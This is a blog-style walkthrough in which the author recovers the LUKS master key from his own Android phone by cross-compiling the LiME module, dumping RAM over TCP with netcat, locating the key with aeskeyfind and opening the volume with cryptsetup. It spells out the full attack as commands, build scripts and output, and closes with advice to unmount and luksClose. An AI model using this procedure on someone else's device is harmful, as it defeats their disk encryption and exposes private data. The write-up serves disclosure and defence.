Cracking LUKS on Android Phones

LUKS is a standard disk encryption system for Linux that has recently been ported to the Android O/S. The goal of using LUKS is, of course, to have secure encryption of part of your filesystem on your phone. My point in writing this note is that, using a set of open-source tools, it is very easy to crack the supposedly-secure LUKS disk setup on your phone. If you've got the LUKS partition mounted, the key is in your phone's ram and can be copied easily! Nothing in this note is particularly new, but its the ease-of-use factor that spooked me and caused me to write. Be careful!

Required Open-Source Software

To make this work, you need three pieces of software. First, a version of cryptsetup that supports luksOpen via the --master-key-file switch. In the version from the ubuntu repositories that functionality is disabled. I needed to build it from source. Second, you need the LiME Kernel Module. This is used to dump your phone's ram to a file. Finally, you need the aeskeyfind utility from CITP at Princeton.

You will also need a couple of Android tools for cross-compiling - the SDK and NDK. These are freely downloadable from the Android Developer web site - no installation is necessary. Simply untar and you are ready to go.

The first thing you need to do is build the three packages. cryptsetup and aeskeyfind are straightforward. The familiar ./configure && make routine works for both of these. Building lime.ko for Android takes a bit of work and I'll outline that here.

Building the Module

First, download and extract the LiME source. The LiME documentation is straightforward, although there are some typos in the shell variable strings they have you set up. You need to build LiME against the kernel running on your phone. I had a problem here, because I am running a CM 7.2 ROM on my phone, and the .config file for the particular kernel used in that ROM was not available. As a result, I resorted to a hack that was pretty straightforward and should be applicable to just about any kernel version on any Android phone out there. If you already have the .config file for your phone, you are ahead of the game.

My phone (Droid 2 with CM 7.2 ROM) was running the 2.6.32.9 kernel. So what I did was grab a copy of the closest kernel source I could find from the linux kernel archives. In my case it was 2.6.32.60. After extracting the kernel tarball, I edited vermagic.h in linux-2.6.32.60/include/linux to reflect the VERMAGIC_STRING variable the kernel on my phone was expecting:

#define VERMAGIC_STRING \
        "2.6.32.9 preempt mod_unload ARMv7 "
The closest kernel config file I could find after a bit of googling was sholes_defconfig. This is supposedly the kernel config for the Droid X, which is not too far from the Droid 2. I grabbed a copy of this config and renamed it .config in the linux-2.6.32.60 directory. Note that the config file you use is phone-dependent and you will need to select the correct one. Also, the closer you can get to the actual kernel version that your phone is running, the better off you will be. This method doesn't include any Android patches to the kernel source, so in principle could be problematic. However, it worked for me!

I then built the kernel with the following script (very similar to what is outlined in the LiME documentation) from the lime/src directory.

#!/bin/bash

export NDK_PATH=/home/user/android-ndk-r8c/
export SDK_PATH=/home/user/android-sdk/linux/
export KSRC_PATH=/home/user/android/kernel/linux-2.6.32.60/
export CC_PATH=$NDK_PATH/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/
export LIME_SRC=/home/user/LUKS/lime/src/

cd $KSRC_PATH
make ARCH=arm CROSS_COMPILE=$CC_PATH/arm-linux-androideabi- EXTRA_CFLAGS=-fno-pic modules_prepare
There are a couple of differences in the make line. Note the settings for the CROSS_COMPILE and EXTRA_CFLAGS environment variables.

I also edited the Makefile in the lime/src directory to reflect a few changes. The relevant part of my Makefile looks like this:

KDIR_DROID2 := /home/user/android/kernel/linux-2.6.32.60/

KVER := $(shell uname -r)

PWD := $(shell pwd)
CCPATH := /home/user/android-ndk-r8c/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin

default:
        # cross-compile for Android emulator
        $(MAKE) EXTRA_CFLAGS=-fno-pic ARCH=arm CROSS_COMPILE=$(CCPATH)/arm-linux-androideabi- -C $(KDIR_DROID2) M=$(PWD) modules
        $(CCPATH)/arm-linux-androideabi-strip --strip-unneeded lime.ko
        mv lime.ko lime-droid2.ko
With these changes, just executing make in lime/src built the lime-droid2.ko module. I renamed it lime.ko and put it on the sdcard in my phone.

Dumping the RAM

Once I had the kernel module on my phone, I loaded it with the command:

# insmod /sdcard/lime.ko "path=tcp:4444 format=raw"
This will dump the phone's ram to tcp port 4444. I then grabbed it on another machine with netcat:
user@host:~/LUKS$ nc droid2.ip.address 4444 > droid2.raw
If you use adb, there are a few other things that you need to do - all clearly explained in the LiME documentation. Or, if you would rather dump it to the sdcard, change the path to something like /sdcard/droid2.raw and you are good to go.

Finding the Master Key File

Now that I had the memory dump on my desktop machine, I then used the aeskeyfind utility to search the dump file for any aes keys it contained. In verbose mode, the output looks like this:

user@host:~/LUKS$ ./aeskeyfind -v droid2.raw
FOUND POSSIBLE 256-BIT KEY AT BYTE 1ab96040 

KEY: 30e2b369b65d6d36413f81c78aca6381a97f7e8918482838b7b55fd86839b149

EXTENDED KEY: 
30e2b369b65d6d36413f81c78aca6381
a97f7e8918482838b7b55fd86839b149
232a882c9577e51ad44864dd5e82075c
f16cbbc3e92493fb5e91cc2336a87d6a
e3d58a2976a26f33a2ea0beefc680cb2
412945f4a80dd60ff69c1a2cc0346746
ff50d09389f2bfa02b18b44ed770b8fc
4f782944e775ff4b11e9e567d1dd8221
36432dadbfb1920d94a9264343d99ebf
554d224cb238dd07a3d13860720cba41
d8b7aeed67063ce0f3af1aa3b076841c
b2757dd0004da0d7a39c98b7d19022f6
9824ecd3ff22d0330c8dca90bcfb4e8c
d77a52b4d737f26374ab6ad4a53b4822
3a767fd5c554afe6c9d9657675222bfa

CONSTRAINTS ON ROWS:
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000
b89dd00a1877a62b6871dfd5961f0a90564e1bcc35b1658487bb13c91a80cc8e
cf2c3fa4b0cab8e3911a82424c398b8f442fefe2550812e0c7a9ae43374c6421
64387a9868ace83021d03aa1dd2309cd129dee773eb7faaa92a1bca3f0e5ca62
816b017257ea1e8f497cd291fcf3336cd5c355f267b161aeac164609624476c1
acadec52d475ab891e96cc1eb58fe1fd0473dc8baa401e8dcba727a7ce5230c8
51a8f42ca53c9336cae36797ab192de345b9170c7838cab261e7392a05f5176f
26c1217e32653caf6fdff4a161fa4a7470efd7abe2adf01ae006014a9ae0ff98

Keyfind progress: 100%
The aes key for my mounted LUKS partition is listed at the top of the aeskeyfile output.

Further, as if that's not enough, LUKS also stores the cipher and hash used, as well as the UUID of the disk partition in ram as well. Here's output from a hexedit of the ram dump:

........LUKS....aes.....................
........cbc-plain.......................
sha1...................................
........yW.p..._w..*Q%....7C....i.P..J.?
...~^.K(.......@4eff977e-0dd2-4f17-a3fc-
1eb103c7efe0............................

To mount the drive on my desktop machine using the key found by aeskeyfind, I first had to convert it to binary:

user@host:~/LUKS$ echo "30e2b369b65d6d36413f81c78aca6381a97f7e8918482838b7b55fd86839b149" | xxd -r -p > mkf.key
and then luksOpen the drive using my local version of cryptsetup:
user@host:~/LUKS$ sudo ./cryptsetup luksOpen --master-key-file mkf.key /dev/loop1 droid2
Note here that my LUKS drive was a file that I had set up as the loop device /dev/loop1. The last step is to mount the drive normally:
user@host:~/LUKS$ sudo mount /dev/mapper/droid2 /media/droid2
I now have full access to the drive without ever having had to know the encryption password.

The moral of this story? If you have a mounted LUKS partition on your phone, it is very easy for someone to get the master encryption key. cryptsetup does delete the key from ram during a luksClose operation, so my recommendation is to only mount your LUKS drive when you are using it and then unmount and luksClose it when you are done. Otherwise, it becomes a huge security hole. Almost like your drive wasn't encrypted in the first place.

Its probably appropriate to mention here that LUKS on Android isn't the only system susceptible to this kind of attack. Virtually all disk-encryption systems store the encryption key in ram. The Princeton CITP group identified this fact a long time ago. My point here is only that an attack like this is very easy to do!

Happy Androiding!
Dave